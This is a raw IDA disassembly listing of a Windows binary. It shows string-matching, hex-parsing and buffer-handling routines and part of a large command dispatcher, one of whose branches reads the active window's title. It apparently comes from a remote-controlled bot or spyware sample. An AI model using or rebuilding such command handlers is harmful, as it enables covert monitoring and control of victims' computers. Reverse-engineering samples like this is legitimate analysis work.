		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------

loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5

loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------

loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax

loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------

loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442

loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx

loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------

loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx

loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------

loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------

loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------

loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------

loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------

loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx

loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687

loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A

loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------

loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------

loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793

loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC

loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809

loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C

loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------

loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------

loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------

loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------

loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]

loc_40A89A:				; DATA XREF: BrattyUS:0041AE78o
					; BrattyUS:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------

loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C

loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax

loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------

loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax

loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------

loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------

loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax

loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax

loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------

loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------

loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------

loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------

loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]

loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8	; GetForegroundWindow
		push	eax
		call	dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
